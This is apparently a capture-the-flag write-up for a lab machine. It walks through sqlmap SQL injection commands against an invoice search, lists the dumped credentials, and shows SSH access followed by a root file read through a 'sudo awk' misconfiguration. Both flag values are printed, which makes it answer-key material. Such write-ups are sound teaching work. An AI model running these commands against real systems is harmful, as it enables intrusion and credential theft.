Challenge

10.1.1.5, a marketing company site. A legacy section at /old exposed an invoice search at /search?invoice_number=.

SQL injection

The invoice_number parameter was injectable. A quick ORDER BY probe found the column count, and sqlmap made short work of the dump:

sqlmap -u 'http://10.1.1.5/search?invoice_number=a' --tables
sqlmap -u 'http://10.1.1.5/search?invoice_number=a' -T users --dump

That gave a user jfresco. The first password we pulled, m4rk3t1ng4l1f3, turned out to be a decoy and was rejected everywhere. Re-dumping cleanly gave the real one, br4nd_4w4r3n355, which was also the SSH password.

Foothold and privilege escalation

SSH in as jfresco and grab the user flag:

cat flag.txt   ->  c0nt3nt_m4rk3t1ng

sudo -l showed the misconfiguration:

User jfresco may run the following commands on 0aebb2706092:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /usr/bin/awk

awk can read arbitrary files as root (GTFOBins), so the root flag fell straight out:

sudo awk '{print $1}' flag.txt   ->  v1r4l_c4mp41gn

Flags

  • c0nt3nt_m4rk3t1ng
  • v1r4l_c4mp41gn